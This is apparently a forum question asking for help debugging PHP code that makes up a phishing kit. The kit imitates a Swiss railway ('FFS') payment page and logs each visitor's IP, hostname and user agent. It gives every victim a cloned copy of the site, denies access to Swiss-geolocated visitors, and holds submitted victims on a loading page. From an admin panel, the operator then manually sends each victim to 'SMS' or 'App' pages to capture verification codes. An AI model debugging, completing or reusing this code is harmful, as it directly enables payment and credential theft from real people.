I’m building an admin panel to redirect users to a specific page when they successfully submit a form, first, they visit the website and an index.php file creates a unique folder for every visitor and recursively copies all the website content on that folder, along with retrieving some essential data of the user such (IP, Hostname, userAgent), then they go through the process to submit the form, when they submitted the form who’s on a page form.php a loading animation should appear until I choose the page to redirect every user based on a condition that I check manually, but on my code I got an error saying that no user found, I’m storing the data in a JSON file called visitors.php.
Below is the content of the files.
index.php
<?php
session_start();
include('./S_B_B/includes/includes.php');
date_default_timezone_set('Africa/Casablanca');
function getVisitorHostname($ip) {
return gethostbyaddr($ip);
}
function isFromSwitzerland($ip) {
$apiUrl = "https://ipinfo.io/{$ip}/json";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $apiUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200) {
$data = json_decode($response, true);
return isset($data['country']) && $data['country'] === 'CH';
} else {
return false;
}
}
function recurse_copy($src, $dst) {
$dir = opendir($src);
@mkdir($dst);
while(false !== ($file = readdir($dir))) {
if (($file != '.') && ($file != '..')) {
if (is_dir($src . '/' . $file)) {
recurse_copy($src . '/' . $file, $dst . '/' . $file);
} else {
copy($src . '/' . $file, $dst . '/' . $file);
}
}
}
closedir($dir);
}
$ip = getVisitorIP();
$hostname = getVisitorHostname($ip);
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$visit_time = date('Y-m-d H:i:s');
$data = readVisitorData();
if (!isFromSwitzerland($ip)) {
$visitorFolder = uniqid();
mkdir($visitorFolder, 0755, true);
$sourceFolder = './S_B_B';
recurse_copy($sourceFolder, $visitorFolder);
$log_message = "IP: $ip | Timestamp: " . date("Y-m-d H:i:s") . "n";
file_put_contents("ips.txt", $log_message, FILE_APPEND);
$data[] = [
'id' => $visitorFolder,
'ip' => $ip,
'hostname' => $hostname,
'user_agent' => $userAgent,
'visit_time' => $visit_time,
'redirected' => false,
'redirect_url' => ''
];
saveVisitorData($data);
$_SESSION['visitor_id'] = $visitorFolder;
header("Location: $visitorFolder/Users/login.php");
exit();
} else {
header('HTTP/1.0 403 Forbidden');
echo 'Access denied.';
exit();
}
?>
includes.php
<?php
session_start();
function getVisitorIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function readVisitorData() {
$file = dirname(__DIR__) . '/visitors.json'; // Adjusted path
if (file_exists($file)) {
$data = json_decode(file_get_contents($file), true);
return $data !== null ? $data : [];
}
return [];
}
function saveVisitorData($data) {
$file = dirname(__DIR__) . '/visitors.json'; // Adjusted path
file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT));
}
?>
waiting.php where the animation appears until I click a button to redirect visitor from admin panel
<?php
include_once '../includes/includes.php';
$data = readVisitorData();
$user_found = false;
$visitor_id = $_SESSION['visitor_id'] ?? null;
if (!$visitor_id) {
echo "Session expired. Please start again.";
exit();
}
foreach ($data as &$visitor) {
if ($visitor['id'] == $visitor_id) {
$user_found = true;
if ($visitor['redirected']) {
header('Location: ' . $visitor['redirect_url']);
exit();
}
break;
}
}
if (!$user_found) {
echo "User not found. Please start again.";
exit();
}
?>
<html lang="it" data-critters-container="" style="width: 100%; height: 100%; overflow: hidden;" class="no-flash svg no-touchevents preserve3d smil pointerevents performance target no-contains hidden template video placeholder no-inputsearchevent notification checked arrow svgSpritesLoaded focus-source-initial prefers-dark-mode focus-source-pointer" data-focus-source="" data-datatrans-payment-lock="locked"><head>
<title>Pagamento | FFS</title>
<meta http-equiv="refresh" content="10">
Now the files for the admin panel inside a folder /ad
/ad/index.php
include('../includes/includes.php');
date_default_timezone_set('Africa/Casablanca');
$data = readVisitorData();
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$visitor_id = filter_input(INPUT_POST, 'visitor_id', FILTER_SANITIZE_STRING);
$redirect_page = filter_input(INPUT_POST, 'redirect_page', FILTER_SANITIZE_STRING);
if ($visitor_id && $redirect_page) {
foreach ($data as &$visitor) {
if ($visitor['id'] == $visitor_id) {
$visitor['redirect_url'] = '../Users/' . $redirect_page . '.php';
$visitor['redirected'] = true;
$visitor['last_action_time'] = date('Y-m-d H:i:s');
break;
}
}
saveVisitorData($data);
$message = "Visitor redirected successfully.";
} else {
$message = "Invalid input.";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
<style>
table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 10px;
text-align: left;
border: 1px solid #ddd;
}
</style>
</head>
<body>
<h1>Visitor Information</h1>
<?php if (isset($message)) { echo "<p>$message</p>"; } ?>
<table>
<tr>
<th>ID</th>
<th>IP Address</th>
<th>Hostname</th>
<th>User Agent</th>
<th>Visit Time</th>
<th>Status</th>
<th>Action</th>
</tr>
<?php
foreach ($data as $visitor) {
$status = $visitor['redirected'] ? "Redirected to " . $visitor['redirect_url'] : "Waiting";
echo "<tr>
<td>{$visitor['id']}</td>
<td>{$visitor['ip']}</td>
<td>{$visitor['hostname']}</td>
<td>{$visitor['user_agent']}</td>
<td>{$visitor['visit_time']}</td>
<td>$status</td>
<td>
<form method='POST'>
<input type='hidden' name='visitor_id' value='{$visitor['id']}'>
<button type='submit' name='redirect_page' value='sms'>Redirect to SMS</button>
<button type='submit' name='redirect_page' value='app'>Redirect to App</button>
</form>
</td>
</tr>";
}
?>
</table>
</body>
</html>
ad/redirect.php
<?php
include('../includes/includes.php');
$visitor_id = $_SESSION['visitor_id'] ?? null;
if (!$visitor_id) {
echo "Session expired. Please start again.";
exit();
}
$data = readVisitorData();
foreach ($data as &$visitor) {
if ($visitor['id'] == $visitor_id && $visitor['redirected'] && isset($visitor['redirect_url'])) {
header('Location: ' . $visitor['redirect_url']);
exit();
}
}
header('Refresh: 5; URL=../Waiting/waiting3.php');
exit();
?>
I would be grateful for your assistance, I apologize for the long question